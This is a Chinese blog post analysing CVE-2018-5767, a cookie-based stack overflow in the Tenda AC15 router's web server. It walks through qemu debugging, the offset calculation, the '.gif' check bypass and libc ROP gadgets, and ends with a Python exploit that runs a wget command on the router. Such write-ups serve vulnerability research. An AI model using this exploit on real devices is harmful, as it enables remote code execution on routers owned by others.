前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2018-5767路由器远程代码执行分析

CVE-2018-5767路由器远程代码执行分析

作者头像
C4rpeDime
发布2018-12-18 17:00:54
1.1K0
发布2018-12-18 17:00:54
举报
文章被收录于专栏:黑白安全黑白安全

1.漏洞概述

CVE-2018-5767 TENDA AC15路由器权远程代码执行

参考信息:https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/

漏洞固件版本:

Tenda cn Ac15_firmware:15.03.1.16

2.漏洞分析.

漏洞文件是bin/httpd

此处会将cookie中的password后面的值拷贝到变量var_1c0,造成栈溢出

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

Arm 小端结构.

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

先把arm架构的qemu拷贝过来

cp $(which qemu-arm-static) ./qemu 使用如下脚本调试:

!/bin/bash

PORT="1234"

chroot ../qemu -g $PORT ./bin/httpd

此处会需要将connectcfm的返回值patch为1:

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

推荐一下keypatch 插件,可以在IDA中直接修改指令, https://github.com/keystone-engine/keypatch

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

之后http服务就可以运行起来了:

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

在R7WebsSecurityHandler中下好断点,

Exploit.py运行,断下来:

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

LR 存放返回值,地址为FECDC,var_1c0是要存放可控输入变量的地方FEB1C,所以我们的palyload为A*(FECDC-FEB1C)+BBBB(需要覆盖的返回地址)+ccccdddd。跑一波,发现没有断到pc=42424242的地方,而是[R3] 出错。

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

在拷贝完password后,还会看字符串里是否含有”.”且”.”之后三位为”gif”,如果有的话就会直接跳到结尾,而不会去到需要读取[R3]的地方,在payload里面加上.gif, pc到42424242处crash了

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

有nx,栈里的代码不能直接执行,因此必须ROP了。

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

查找libc 基址:

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

Libc=0x409c7000

但是此处有个坑,libc的地址并不正确,rop链会跳到错误的地方,

看一下puts函数的地址:

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

Puts在libc中的地址:

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

那么libc=409dccd4-35cd4=409A7000

Libc中有system函数,那么需要找一个pop r0,sp类似的代码把sp中的参数放到r0去

ROPgadget–binary=./lib/libc.so.0 | grep”mov r0, sp”

或者 –only “pop”| grep“r0”,但是pop {r0 pc} 这条命令无法使用,因为r0的参数太长,所以需要放到pc后面, 找到如下两个godget:

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

先将system pop到r3,再将 sp中的command参数放到r0,

构造如下exploit.py :

url = "http://%s:80/goform/exeCommand"%(host)  libc=0x409a7000 godget1=0x00018298 #pop r3 pc godget1 = struct.pack("< I",godget1+libc) system=0x0005A270 system = struct.pack("< I", system+libc) command="wget192.168.174.136" godget2 = 0x00040cb8 # mov r0 sp; blx r3 godget2 = struct.pack("< I", godget2 + libc) password = "A" * 444+".gif"+godget1+system+godget2+command req = urllib2.Request(url) req.add_header("Cookie", "password=%s" % password) try: resp = urllib2.urlopen(req) except:

pass

在覆盖pc后,返回之前的栈的结构如下,6669672e为”.gif”,后面为布好的rop链

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

运行完后,通过-strace参数可以看到httpd在模拟环境中执行了我们想要执行的命令:

CVE-2018-5767路由器远程代码执行分析
CVE-2018-5767路由器远程代码执行分析

添加收藏

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2018-11-262,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • !/bin/bash
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档